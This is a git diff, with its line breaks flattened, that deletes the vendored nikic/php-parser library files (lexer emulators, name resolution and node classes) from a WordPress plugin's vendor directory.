$followedByVarOrVarArg - ? \T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG - : \T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG; - } - } - - // Check for unterminated comment - $lastToken = $tokens[$numTokens - 1]; - if ($this->isUnterminatedComment($lastToken)) { - $errorHandler->handleError(new Error('Unterminated comment', [ - 'startLine' => $lastToken->line, - 'endLine' => $lastToken->getEndLine(), - 'startFilePos' => $lastToken->pos, - 'endFilePos' => $lastToken->getEndPos(), - ])); - } - - // Add sentinel token. - $tokens[] = new Token(0, "\0", $lastToken->getEndLine(), $lastToken->getEndPos()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/Emulative.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/Emulative.php deleted file mode 100644 index c9b3b6d3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/Emulative.php +++ /dev/null @@ -1,226 +0,0 @@ - */ - private array $emulators = []; - - private PhpVersion $targetPhpVersion; - - private PhpVersion $hostPhpVersion; - - /** - * @param PhpVersion|null $phpVersion PHP version to emulate. Defaults to newest supported. - */ - public function __construct(?PhpVersion $phpVersion = null) { - $this->targetPhpVersion = $phpVersion ?? PhpVersion::getNewestSupported(); - $this->hostPhpVersion = PhpVersion::getHostVersion(); - - $emulators = [ - new MatchTokenEmulator(), - new NullsafeTokenEmulator(), - new AttributeEmulator(), - new EnumTokenEmulator(), - new ReadonlyTokenEmulator(), - new ExplicitOctalEmulator(), - new ReadonlyFunctionTokenEmulator(), - new PropertyTokenEmulator(), - new AsymmetricVisibilityTokenEmulator(), - ]; - - // Collect emulators that are relevant for the PHP version we're running - // and the PHP version we're targeting for emulation. - foreach ($emulators as $emulator) { - $emulatorPhpVersion = $emulator->getPhpVersion(); - if ($this->isForwardEmulationNeeded($emulatorPhpVersion)) { - $this->emulators[] = $emulator; - } elseif ($this->isReverseEmulationNeeded($emulatorPhpVersion)) { - $this->emulators[] = new ReverseEmulator($emulator); - } - } - } - - public function tokenize(string $code, ?ErrorHandler $errorHandler = null): array { - $emulators = array_filter($this->emulators, function ($emulator) use ($code) { - return $emulator->isEmulationNeeded($code); - }); - - if (empty($emulators)) { - // Nothing to emulate, yay - return parent::tokenize($code, $errorHandler); - } - - if ($errorHandler === null) { - $errorHandler = new ErrorHandler\Throwing(); - } - - $this->patches = []; - foreach ($emulators as $emulator) { - $code = $emulator->preprocessCode($code, $this->patches); - } - - $collector = new ErrorHandler\Collecting(); - $tokens = parent::tokenize($code, $collector); - $this->sortPatches(); - $tokens = $this->fixupTokens($tokens); - - $errors = $collector->getErrors(); - if (!empty($errors)) { - $this->fixupErrors($errors); - foreach ($errors as $error) { - $errorHandler->handleError($error); - } - } - - foreach ($emulators as $emulator) { - $tokens = $emulator->emulate($code, $tokens); - } - - return $tokens; - } - - private function isForwardEmulationNeeded(PhpVersion $emulatorPhpVersion): bool { - return $this->hostPhpVersion->older($emulatorPhpVersion) - && $this->targetPhpVersion->newerOrEqual($emulatorPhpVersion); - } - - private function isReverseEmulationNeeded(PhpVersion $emulatorPhpVersion): bool { - return $this->hostPhpVersion->newerOrEqual($emulatorPhpVersion) - && $this->targetPhpVersion->older($emulatorPhpVersion); - } - - private function sortPatches(): void { - // Patches may be contributed by different emulators. - // Make sure they are sorted by increasing patch position. - usort($this->patches, function ($p1, $p2) { - return $p1[0] <=> $p2[0]; - }); - } - - /** - * @param list $tokens - * @return list - */ - private function fixupTokens(array $tokens): array { - if (\count($this->patches) === 0) { - return $tokens; - } - - // Load first patch - $patchIdx = 0; - list($patchPos, $patchType, $patchText) = $this->patches[$patchIdx]; - - // We use a manual loop over the tokens, because we modify the array on the fly - $posDelta = 0; - $lineDelta = 0; - for ($i = 0, $c = \count($tokens); $i < $c; $i++) { - $token = $tokens[$i]; - $pos = $token->pos; - $token->pos += $posDelta; - $token->line += $lineDelta; - $localPosDelta = 0; - $len = \strlen($token->text); - while ($patchPos >= $pos && $patchPos < $pos + $len) { - $patchTextLen = \strlen($patchText); - if ($patchType === 'remove') { - if ($patchPos === $pos && $patchTextLen === $len) { - // Remove token entirely - array_splice($tokens, $i, 1, []); - $i--; - $c--; - } else { - // Remove from token string - $token->text = substr_replace( - $token->text, '', $patchPos - $pos + $localPosDelta, $patchTextLen - ); - $localPosDelta -= $patchTextLen; - } - $lineDelta -= \substr_count($patchText, "\n"); - } elseif ($patchType === 'add') { - // Insert into the token string - $token->text = substr_replace( - $token->text, $patchText, $patchPos - $pos + $localPosDelta, 0 - ); - $localPosDelta += $patchTextLen; - $lineDelta += \substr_count($patchText, "\n"); - } elseif ($patchType === 'replace') { - // Replace inside the token string - $token->text = substr_replace( - $token->text, $patchText, $patchPos - $pos + $localPosDelta, $patchTextLen - ); - } else { - assert(false); - } - - // Fetch the next patch - $patchIdx++; - if ($patchIdx >= \count($this->patches)) { - // No more patches. However, we still need to adjust position. - $patchPos = \PHP_INT_MAX; - break; - } - - list($patchPos, $patchType, $patchText) = $this->patches[$patchIdx]; - } - - $posDelta += $localPosDelta; - } - return $tokens; - } - - /** - * Fixup line and position information in errors. - * - * @param Error[] $errors - */ - private function fixupErrors(array $errors): void { - foreach ($errors as $error) { - $attrs = $error->getAttributes(); - - $posDelta = 0; - $lineDelta = 0; - foreach ($this->patches as $patch) { - list($patchPos, $patchType, $patchText) = $patch; - if ($patchPos >= $attrs['startFilePos']) { - // No longer relevant - break; - } - - if ($patchType === 'add') { - $posDelta += strlen($patchText); - $lineDelta += substr_count($patchText, "\n"); - } elseif ($patchType === 'remove') { - $posDelta -= strlen($patchText); - $lineDelta -= substr_count($patchText, "\n"); - } - } - - $attrs['startFilePos'] += $posDelta; - $attrs['endFilePos'] += $posDelta; - $attrs['startLine'] += $lineDelta; - $attrs['endLine'] += $lineDelta; - $error->setAttributes($attrs); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/AsymmetricVisibilityTokenEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/AsymmetricVisibilityTokenEmulator.php deleted file mode 100644 index 084bb75d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/AsymmetricVisibilityTokenEmulator.php +++ /dev/null @@ -1,93 +0,0 @@ - \T_PUBLIC_SET, - \T_PROTECTED => \T_PROTECTED_SET, - \T_PRIVATE => \T_PRIVATE_SET, - ]; - for ($i = 0, $c = count($tokens); $i < $c; ++$i) { - $token = $tokens[$i]; - if (isset($map[$token->id]) && $i + 3 < $c && $tokens[$i + 1]->text === '(' && - $tokens[$i + 2]->id === \T_STRING && \strtolower($tokens[$i + 2]->text) === 'set' && - $tokens[$i + 3]->text === ')' && - $this->isKeywordContext($tokens, $i) - ) { - array_splice($tokens, $i, 4, [ - new Token( - $map[$token->id], $token->text . '(' . $tokens[$i + 2]->text . ')', - $token->line, $token->pos), - ]); - $c -= 3; - } - } - - return $tokens; - } - - public function reverseEmulate(string $code, array $tokens): array { - $reverseMap = [ - \T_PUBLIC_SET => \T_PUBLIC, - \T_PROTECTED_SET => \T_PROTECTED, - \T_PRIVATE_SET => \T_PRIVATE, - ]; - for ($i = 0, $c = count($tokens); $i < $c; ++$i) { - $token = $tokens[$i]; - if (isset($reverseMap[$token->id]) && - \preg_match('/(public|protected|private)\((set)\)/i', $token->text, $matches) - ) { - [, $modifier, $set] = $matches; - $modifierLen = \strlen($modifier); - array_splice($tokens, $i, 1, [ - new Token($reverseMap[$token->id], $modifier, $token->line, $token->pos), - new Token(\ord('('), '(', $token->line, $token->pos + $modifierLen), - new Token(\T_STRING, $set, $token->line, $token->pos + $modifierLen + 1), - new Token(\ord(')'), ')', $token->line, $token->pos + $modifierLen + 4), - ]); - $i += 3; - $c += 3; - } - } - - return $tokens; - } - - /** @param Token[] $tokens */ - protected function isKeywordContext(array $tokens, int $pos): bool { - $prevToken = $this->getPreviousNonSpaceToken($tokens, $pos); - if ($prevToken === null) { - return false; - } - return $prevToken->id !== \T_OBJECT_OPERATOR - && $prevToken->id !== \T_NULLSAFE_OBJECT_OPERATOR; - } - - /** @param Token[] $tokens */ - private function getPreviousNonSpaceToken(array $tokens, int $start): ?Token { - for ($i = $start - 1; $i >= 0; --$i) { - if ($tokens[$i]->id === T_WHITESPACE) { - continue; - } - - return $tokens[$i]; - } - - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/AttributeEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/AttributeEmulator.php deleted file mode 100644 index 2c12f33a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/AttributeEmulator.php +++ /dev/null @@ -1,49 +0,0 @@ -text === '#' && isset($tokens[$i + 1]) && $tokens[$i + 1]->text === '[') { - array_splice($tokens, $i, 2, [ - new Token(\T_ATTRIBUTE, '#[', $token->line, $token->pos), - ]); - $c--; - continue; - } - } - - return $tokens; - } - - public function reverseEmulate(string $code, array $tokens): array { - // TODO - return $tokens; - } - - public function preprocessCode(string $code, array &$patches): string { - $pos = 0; - while (false !== $pos = strpos($code, '#[', $pos)) { - // Replace #[ with %[ - $code[$pos] = '%'; - $patches[] = [$pos, 'replace', '#']; - $pos += 2; - } - return $code; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/EnumTokenEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/EnumTokenEmulator.php deleted file mode 100644 index 5418f52c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/EnumTokenEmulator.php +++ /dev/null @@ -1,26 +0,0 @@ -id === \T_WHITESPACE - && $tokens[$pos + 2]->id === \T_STRING; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ExplicitOctalEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ExplicitOctalEmulator.php deleted file mode 100644 index 9cadf420..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ExplicitOctalEmulator.php +++ /dev/null @@ -1,45 +0,0 @@ -id == \T_LNUMBER && $token->text === '0' && - isset($tokens[$i + 1]) && $tokens[$i + 1]->id == \T_STRING && - preg_match('/[oO][0-7]+(?:_[0-7]+)*/', $tokens[$i + 1]->text) - ) { - $tokenKind = $this->resolveIntegerOrFloatToken($tokens[$i + 1]->text); - array_splice($tokens, $i, 2, [ - new Token($tokenKind, '0' . $tokens[$i + 1]->text, $token->line, $token->pos), - ]); - $c--; - } - } - return $tokens; - } - - private function resolveIntegerOrFloatToken(string $str): int { - $str = substr($str, 1); - $str = str_replace('_', '', $str); - $num = octdec($str); - return is_float($num) ? \T_DNUMBER : \T_LNUMBER; - } - - public function reverseEmulate(string $code, array $tokens): array { - // Explicit octals were not legal code previously, don't bother. - return $tokens; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/KeywordEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/KeywordEmulator.php deleted file mode 100644 index 066e7cd8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/KeywordEmulator.php +++ /dev/null @@ -1,60 +0,0 @@ -getKeywordString()) !== false; - } - - /** @param Token[] $tokens */ - protected function isKeywordContext(array $tokens, int $pos): bool { - $prevToken = $this->getPreviousNonSpaceToken($tokens, $pos); - if ($prevToken === null) { - return false; - } - return $prevToken->id !== \T_OBJECT_OPERATOR - && $prevToken->id !== \T_NULLSAFE_OBJECT_OPERATOR; - } - - public function emulate(string $code, array $tokens): array { - $keywordString = $this->getKeywordString(); - foreach ($tokens as $i => $token) { - if ($token->id === T_STRING && strtolower($token->text) === $keywordString - && $this->isKeywordContext($tokens, $i)) { - $token->id = $this->getKeywordToken(); - } - } - - return $tokens; - } - - /** @param Token[] $tokens */ - private function getPreviousNonSpaceToken(array $tokens, int $start): ?Token { - for ($i = $start - 1; $i >= 0; --$i) { - if ($tokens[$i]->id === T_WHITESPACE) { - continue; - } - - return $tokens[$i]; - } - - return null; - } - - public function reverseEmulate(string $code, array $tokens): array { - $keywordToken = $this->getKeywordToken(); - foreach ($tokens as $token) { - if ($token->id === $keywordToken) { - $token->id = \T_STRING; - } - } - - return $tokens; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/MatchTokenEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/MatchTokenEmulator.php deleted file mode 100644 index 0fa5fbc2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/MatchTokenEmulator.php +++ /dev/null @@ -1,19 +0,0 @@ -') !== false; - } - - public function emulate(string $code, array $tokens): array { - // We need to manually iterate and manage a count because we'll change - // the tokens array on the way - for ($i = 0, $c = count($tokens); $i < $c; ++$i) { - $token = $tokens[$i]; - if ($token->text === '?' && isset($tokens[$i + 1]) && $tokens[$i + 1]->id === \T_OBJECT_OPERATOR) { - array_splice($tokens, $i, 2, [ - new Token(\T_NULLSAFE_OBJECT_OPERATOR, '?->', $token->line, $token->pos), - ]); - $c--; - continue; - } - - // Handle ?-> inside encapsed string. - if ($token->id === \T_ENCAPSED_AND_WHITESPACE && isset($tokens[$i - 1]) - && $tokens[$i - 1]->id === \T_VARIABLE - && preg_match('/^\?->([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)/', $token->text, $matches) - ) { - $replacement = [ - new Token(\T_NULLSAFE_OBJECT_OPERATOR, '?->', $token->line, $token->pos), - new Token(\T_STRING, $matches[1], $token->line, $token->pos + 3), - ]; - $matchLen = \strlen($matches[0]); - if ($matchLen !== \strlen($token->text)) { - $replacement[] = new Token( - \T_ENCAPSED_AND_WHITESPACE, - \substr($token->text, $matchLen), - $token->line, $token->pos + $matchLen - ); - } - array_splice($tokens, $i, 1, $replacement); - $c += \count($replacement) - 1; - continue; - } - } - - return $tokens; - } - - public function reverseEmulate(string $code, array $tokens): array { - // ?-> was not valid code previously, don't bother. - return $tokens; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/PropertyTokenEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/PropertyTokenEmulator.php deleted file mode 100644 index 71b7fc23..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/PropertyTokenEmulator.php +++ /dev/null @@ -1,19 +0,0 @@ -text === '(' || - ($tokens[$pos + 1]->id === \T_WHITESPACE && - isset($tokens[$pos + 2]) && - $tokens[$pos + 2]->text === '('))); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ReverseEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ReverseEmulator.php deleted file mode 100644 index 851b5c4a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/ReverseEmulator.php +++ /dev/null @@ -1,37 +0,0 @@ -emulator = $emulator; - } - - public function getPhpVersion(): PhpVersion { - return $this->emulator->getPhpVersion(); - } - - public function isEmulationNeeded(string $code): bool { - return $this->emulator->isEmulationNeeded($code); - } - - public function emulate(string $code, array $tokens): array { - return $this->emulator->reverseEmulate($code, $tokens); - } - - public function reverseEmulate(string $code, array $tokens): array { - return $this->emulator->emulate($code, $tokens); - } - - public function preprocessCode(string $code, array &$patches): string { - return $code; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/TokenEmulator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/TokenEmulator.php deleted file mode 100644 index fec2f19f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Lexer/TokenEmulator/TokenEmulator.php +++ /dev/null @@ -1,30 +0,0 @@ - 'public', - self::PROTECTED => 'protected', - self::PRIVATE => 'private', - self::STATIC => 'static', - self::ABSTRACT => 'abstract', - self::FINAL => 'final', - self::READONLY => 'readonly', - self::PUBLIC_SET => 'public(set)', - self::PROTECTED_SET => 'protected(set)', - self::PRIVATE_SET => 'private(set)', - ]; - - public static function toString(int $modifier): string { - if (!isset(self::TO_STRING_MAP[$modifier])) { - throw new \InvalidArgumentException("Unknown modifier $modifier"); - } - return self::TO_STRING_MAP[$modifier]; - } - - private static function isValidModifier(int $modifier): bool { - $isPow2 = ($modifier & ($modifier - 1)) == 0 && $modifier != 0; - return $isPow2 && $modifier <= self::PRIVATE_SET; - } - - /** - * @internal - */ - public static function verifyClassModifier(int $a, int $b): void { - assert(self::isValidModifier($b)); - if (($a & $b) != 0) { - throw new Error( - 'Multiple ' . self::toString($b) . ' modifiers are not allowed'); - } - - if ($a & 48 && $b & 48) { - throw new Error('Cannot use the final modifier on an abstract class'); - } - } - - /** - * @internal - */ - public static function verifyModifier(int $a, int $b): void { - assert(self::isValidModifier($b)); - if (($a & Modifiers::VISIBILITY_MASK && $b & Modifiers::VISIBILITY_MASK) || - ($a & Modifiers::VISIBILITY_SET_MASK && $b & Modifiers::VISIBILITY_SET_MASK) - ) { - throw new Error('Multiple access type modifiers are not allowed'); - } - - if (($a & $b) != 0) { - throw new Error( - 'Multiple ' . self::toString($b) . ' modifiers are not allowed'); - } - - if ($a & 48 && $b & 48) { - throw new Error('Cannot use the final modifier on an abstract class member'); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NameContext.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NameContext.php deleted file mode 100644 index 2265ecce..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NameContext.php +++ /dev/null @@ -1,284 +0,0 @@ - [aliasName => originalName]] */ - protected array $aliases = []; - - /** @var Name[][] Same as $aliases but preserving original case */ - protected array $origAliases = []; - - /** @var ErrorHandler Error handler */ - protected ErrorHandler $errorHandler; - - /** - * Create a name context. - * - * @param ErrorHandler $errorHandler Error handling used to report errors - */ - public function __construct(ErrorHandler $errorHandler) { - $this->errorHandler = $errorHandler; - } - - /** - * Start a new namespace. - * - * This also resets the alias table. - * - * @param Name|null $namespace Null is the global namespace - */ - public function startNamespace(?Name $namespace = null): void { - $this->namespace = $namespace; - $this->origAliases = $this->aliases = [ - Stmt\Use_::TYPE_NORMAL => [], - Stmt\Use_::TYPE_FUNCTION => [], - Stmt\Use_::TYPE_CONSTANT => [], - ]; - } - - /** - * Add an alias / import. - * - * @param Name $name Original name - * @param string $aliasName Aliased name - * @param Stmt\Use_::TYPE_* $type One of Stmt\Use_::TYPE_* - * @param array $errorAttrs Attributes to use to report an error - */ - public function addAlias(Name $name, string $aliasName, int $type, array $errorAttrs = []): void { - // Constant names are case sensitive, everything else case insensitive - if ($type === Stmt\Use_::TYPE_CONSTANT) { - $aliasLookupName = $aliasName; - } else { - $aliasLookupName = strtolower($aliasName); - } - - if (isset($this->aliases[$type][$aliasLookupName])) { - $typeStringMap = [ - Stmt\Use_::TYPE_NORMAL => '', - Stmt\Use_::TYPE_FUNCTION => 'function ', - Stmt\Use_::TYPE_CONSTANT => 'const ', - ]; - - $this->errorHandler->handleError(new Error( - sprintf( - 'Cannot use %s%s as %s because the name is already in use', - $typeStringMap[$type], $name, $aliasName - ), - $errorAttrs - )); - return; - } - - $this->aliases[$type][$aliasLookupName] = $name; - $this->origAliases[$type][$aliasName] = $name; - } - - /** - * Get current namespace. - * - * @return null|Name Namespace (or null if global namespace) - */ - public function getNamespace(): ?Name { - return $this->namespace; - } - - /** - * Get resolved name. - * - * @param Name $name Name to resolve - * @param Stmt\Use_::TYPE_* $type One of Stmt\Use_::TYPE_{FUNCTION|CONSTANT} - * - * @return null|Name Resolved name, or null if static resolution is not possible - */ - public function getResolvedName(Name $name, int $type): ?Name { - // don't resolve special class names - if ($type === Stmt\Use_::TYPE_NORMAL && $name->isSpecialClassName()) { - if (!$name->isUnqualified()) { - $this->errorHandler->handleError(new Error( - sprintf("'\\%s' is an invalid class name", $name->toString()), - $name->getAttributes() - )); - } - return $name; - } - - // fully qualified names are already resolved - if ($name->isFullyQualified()) { - return $name; - } - - // Try to resolve aliases - if (null !== $resolvedName = $this->resolveAlias($name, $type)) { - return $resolvedName; - } - - if ($type !== Stmt\Use_::TYPE_NORMAL && $name->isUnqualified()) { - if (null === $this->namespace) { - // outside of a namespace unaliased unqualified is same as fully qualified - return new FullyQualified($name, $name->getAttributes()); - } - - // Cannot resolve statically - return null; - } - - // if no alias exists prepend current namespace - return FullyQualified::concat($this->namespace, $name, $name->getAttributes()); - } - - /** - * Get resolved class name. - * - * @param Name $name Class ame to resolve - * - * @return Name Resolved name - */ - public function getResolvedClassName(Name $name): Name { - return $this->getResolvedName($name, Stmt\Use_::TYPE_NORMAL); - } - - /** - * Get possible ways of writing a fully qualified name (e.g., by making use of aliases). - * - * @param string $name Fully-qualified name (without leading namespace separator) - * @param Stmt\Use_::TYPE_* $type One of Stmt\Use_::TYPE_* - * - * @return Name[] Possible representations of the name - */ - public function getPossibleNames(string $name, int $type): array { - $lcName = strtolower($name); - - if ($type === Stmt\Use_::TYPE_NORMAL) { - // self, parent and static must always be unqualified - if ($lcName === "self" || $lcName === "parent" || $lcName === "static") { - return [new Name($name)]; - } - } - - // Collect possible ways to write this name, starting with the fully-qualified name - $possibleNames = [new FullyQualified($name)]; - - if (null !== $nsRelativeName = $this->getNamespaceRelativeName($name, $lcName, $type)) { - // Make sure there is no alias that makes the normally namespace-relative name - // into something else - if (null === $this->resolveAlias($nsRelativeName, $type)) { - $possibleNames[] = $nsRelativeName; - } - } - - // Check for relevant namespace use statements - foreach ($this->origAliases[Stmt\Use_::TYPE_NORMAL] as $alias => $orig) { - $lcOrig = $orig->toLowerString(); - if (0 === strpos($lcName, $lcOrig . '\\')) { - $possibleNames[] = new Name($alias . substr($name, strlen($lcOrig))); - } - } - - // Check for relevant type-specific use statements - foreach ($this->origAliases[$type] as $alias => $orig) { - if ($type === Stmt\Use_::TYPE_CONSTANT) { - // Constants are complicated-sensitive - $normalizedOrig = $this->normalizeConstName($orig->toString()); - if ($normalizedOrig === $this->normalizeConstName($name)) { - $possibleNames[] = new Name($alias); - } - } else { - // Everything else is case-insensitive - if ($orig->toLowerString() === $lcName) { - $possibleNames[] = new Name($alias); - } - } - } - - return $possibleNames; - } - - /** - * Get shortest representation of this fully-qualified name. - * - * @param string $name Fully-qualified name (without leading namespace separator) - * @param Stmt\Use_::TYPE_* $type One of Stmt\Use_::TYPE_* - * - * @return Name Shortest representation - */ - public function getShortName(string $name, int $type): Name { - $possibleNames = $this->getPossibleNames($name, $type); - - // Find shortest name - $shortestName = null; - $shortestLength = \INF; - foreach ($possibleNames as $possibleName) { - $length = strlen($possibleName->toCodeString()); - if ($length < $shortestLength) { - $shortestName = $possibleName; - $shortestLength = $length; - } - } - - return $shortestName; - } - - private function resolveAlias(Name $name, int $type): ?FullyQualified { - $firstPart = $name->getFirst(); - - if ($name->isQualified()) { - // resolve aliases for qualified names, always against class alias table - $checkName = strtolower($firstPart); - if (isset($this->aliases[Stmt\Use_::TYPE_NORMAL][$checkName])) { - $alias = $this->aliases[Stmt\Use_::TYPE_NORMAL][$checkName]; - return FullyQualified::concat($alias, $name->slice(1), $name->getAttributes()); - } - } elseif ($name->isUnqualified()) { - // constant aliases are case-sensitive, function aliases case-insensitive - $checkName = $type === Stmt\Use_::TYPE_CONSTANT ? $firstPart : strtolower($firstPart); - if (isset($this->aliases[$type][$checkName])) { - // resolve unqualified aliases - return new FullyQualified($this->aliases[$type][$checkName], $name->getAttributes()); - } - } - - // No applicable aliases - return null; - } - - private function getNamespaceRelativeName(string $name, string $lcName, int $type): ?Name { - if (null === $this->namespace) { - return new Name($name); - } - - if ($type === Stmt\Use_::TYPE_CONSTANT) { - // The constants true/false/null always resolve to the global symbols, even inside a - // namespace, so they may be used without qualification - if ($lcName === "true" || $lcName === "false" || $lcName === "null") { - return new Name($name); - } - } - - $namespacePrefix = strtolower($this->namespace . '\\'); - if (0 === strpos($lcName, $namespacePrefix)) { - return new Name(substr($name, strlen($namespacePrefix))); - } - - return null; - } - - private function normalizeConstName(string $name): string { - $nsSep = strrpos($name, '\\'); - if (false === $nsSep) { - return $name; - } - - // Constants have case-insensitive namespace and case-sensitive short-name - $ns = substr($name, 0, $nsSep); - $shortName = substr($name, $nsSep + 1); - return strtolower($ns) . '\\' . $shortName; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node.php deleted file mode 100644 index fd2a9b72..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node.php +++ /dev/null @@ -1,150 +0,0 @@ - - */ - public function getAttributes(): array; - - /** - * Replaces all the attributes of this node. - * - * @param array $attributes - */ - public function setAttributes(array $attributes): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Arg.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Arg.php deleted file mode 100644 index 6680efac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Arg.php +++ /dev/null @@ -1,44 +0,0 @@ - $attributes Additional attributes - * @param Identifier|null $name Parameter name (for named parameters) - */ - public function __construct( - Expr $value, bool $byRef = false, bool $unpack = false, array $attributes = [], - ?Identifier $name = null - ) { - $this->attributes = $attributes; - $this->name = $name; - $this->value = $value; - $this->byRef = $byRef; - $this->unpack = $unpack; - } - - public function getSubNodeNames(): array { - return ['name', 'value', 'byRef', 'unpack']; - } - - public function getType(): string { - return 'Arg'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ArrayItem.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ArrayItem.php deleted file mode 100644 index fa1cff52..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ArrayItem.php +++ /dev/null @@ -1,43 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $value, ?Expr $key = null, bool $byRef = false, array $attributes = [], bool $unpack = false) { - $this->attributes = $attributes; - $this->key = $key; - $this->value = $value; - $this->byRef = $byRef; - $this->unpack = $unpack; - } - - public function getSubNodeNames(): array { - return ['key', 'value', 'byRef', 'unpack']; - } - - public function getType(): string { - return 'ArrayItem'; - } -} - -// @deprecated compatibility alias -class_alias(ArrayItem::class, Expr\ArrayItem::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Attribute.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Attribute.php deleted file mode 100644 index 9d892436..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Attribute.php +++ /dev/null @@ -1,33 +0,0 @@ - Attribute arguments */ - public array $args; - - /** - * @param Node\Name $name Attribute name - * @param list $args Attribute arguments - * @param array $attributes Additional node attributes - */ - public function __construct(Name $name, array $args = [], array $attributes = []) { - $this->attributes = $attributes; - $this->name = $name; - $this->args = $args; - } - - public function getSubNodeNames(): array { - return ['name', 'args']; - } - - public function getType(): string { - return 'Attribute'; - } -} diff --git 